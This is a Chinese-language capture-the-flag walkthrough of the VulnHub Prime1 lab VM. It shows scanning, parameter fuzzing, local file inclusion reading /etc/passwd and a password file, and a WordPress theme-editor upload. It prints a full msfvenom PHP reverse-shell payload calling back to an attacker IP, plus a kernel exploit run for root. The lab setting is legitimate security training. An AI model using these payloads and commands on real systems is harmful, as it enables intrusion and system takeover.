vulnhub靶场实战系列（二）之 prime1

系列文章

vulnhub靶场实战系列（一）之vulnhub靶场介绍

vulnhub靶场实战之 prime1

我们本次渗透模拟的靶机是来自vulnhub靶场的 prime1

安装的方法自行百度

环境准备

名称	IP	用户
kali（攻击机）	192.168.41. 13	kali
prime1（靶机）	未知	victor（密码未知）

实际环境如图所示：

目的：获得目标靶机flag

主机发现和端口扫描

首先第一步，我们需要探测目标靶机的IP信息和端口，才能进行后续的操作

nmap 192.168.41.0/24

扫描发现192.168.41.29主机存活且开放22，80端口

目录扫描

接下来我们打开浏览器来访问目标靶机的80端口提供的web服务

发现并没有什么登录框等常规存在漏洞的地方，接下来我们进行目录扫描

dirb http://192.168.141.29/

爆破得到以下几个界面：

http://192.168.141.29/dev
http://192.168.141.29/index.php
http://192.168.141.29/wordpress

我们接下来用浏览器与访问这些目录，打开后发现没有什么可以利用的地方，就只有一些单纯的文本而已，现在我们换一种思路，指定后缀扫描

dirb http://192.168.41.29 -X .txt,.php,.zip

发现了一个cecret.txt的文本文件，我们打开它查看：

翻译后是这样的，他这里提示我们下一步可以进行fuzz模糊测试来进一步进行渗透

FUZZ和LFI

既然他提示我们用fuzz进行模糊测试，那我们接下来便试试测试index.php的参数

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.41.29/index.php?FUZZ

执行后得到很多结果

这里就犯难了，那么多的参数，我们哪里看的过来，所以这里我们需要改变一下思路，去找那些不相同的，我们可以看到大部分的响应内容都是12 word的，那我们就过滤12个Word的结果看看

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.41.29/index.php?FUZZ

最终得到 http://192.168.41.29/index.php?file=??? ，结合上一步提示 curl http://192.168.41.29/index.php?file=location.txt

得到正确参数 secrettier360，这句话翻译过来就是我们需要在别的php文件去使用这个参数

那我们就去目录下扫他后缀为php的文件

dirb http://192.168.41.29/ -X .php

一共就发现了两个php的文件，那么结果已经显然易见了，结合一下

最终通过前面的种种利用，我们最终得到了下面这个url的链接：http://192.168.41.29/image.php?secrettier360，那么这个链接一般会有什么漏洞呢？一般这种后面有参数的经常可能会出现本地文件包含漏洞，我们抱着试一试的心态去测试一下

http://192.168.41.29/image.php?secrettier360=/etc/passwd

发现这里存在着一个文件包含敏感信息泄露漏洞，直接将密码文件给爆出来了

curl http://192.168.41.29/image.php?secrettier360=/etc/passwd

我们再查看泄露的信息中发现了一个提示：:find password.txt file in my directory:/home/saket:

那接下来我们就通过他的提示去试试

curl http://192.168.41.29/image.php?secrettier360=/home/saket/password.txt

得到密码 follow_the_ippsec

wordpress漏洞利用

那么问题来了，我们得到了密码，却没有用户名，我们回想一下，除了之前扫到的ssh服务，我们是不是还扫到了一个wordpress的CMS

我们现在去枚举一下他网站存在的用户试试

cmseek -u http://192.168.41.29/wordpress/

发现没有枚举出什么用户，这里可能是这个网站不太行，我们切换个工具试试

wpscan --url http://192.168.41.29/wordpress/ --enumerate u

发现了用户名 victor ，现在我们去登录网站试试

成功登录进网站

接下来我们就要去找网站的漏洞点利用了，熟悉wordpress的朋友都知道，woedpress有一个主题编辑器 Appearance—>Theme Editor可以修改文件，我们可以向这个文件中写入反弹的shell，来获得目标机器的控制权

我们经过寻找，终于找到了一个我们可以修改写入的文件secret.php

接下来我们就要利用到msf了

生成PHP的反弹shell：

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.41.13 lport=7777 -o shell.php

cat shell.php

/*<?php /**/ error_reporting(0); $ip = '192.168.41.13'; $port = 7777; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

kali启动一个端口 监听利用

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.41.13
set lport 7777
exploit

把shell放到靶机wordpress的主题编辑器里唯一可以编辑的php文件：secrect.php（删掉/*，写入生成的shell）

浏览器访问这个shell

http://192.168.41.29/wordpress/wpcontent/themes/twentynineteen/secret.php

反弹连接成功，进入meterpreter

现在我们已经获得了一个普通用户的权限，接下来就是提权得到root权限，最终得到flag

Linux内核漏洞提权

我们这里通过前期的信息收集，发现了他是一个Linux系统，对于Linux系统提权最常见的就是内核提权了

uname -a //查看系统内核

searchsploit 16.04 Ubuntu //查询对应的内核漏洞

发现了一个符合条件的系统内核提权漏洞，将其下载到本地

searchsploit -m 45010.c

编译攻击脚本

gcc 45010.c -o 45010

上传攻击脚本到靶机,发现对方机器只有/tmp有权限

upload /home/kali/桌面/45010 /tmp/45010

shell命令进入shell

cd /tmp
ls
chmod +x 45010
./45010 #运行可执行文件，获得root的权限
whoami

成功提权得到root权限

cd /root
ls

发现root目录下存在root.txt文件，查看该文件得到flag

cat root.txt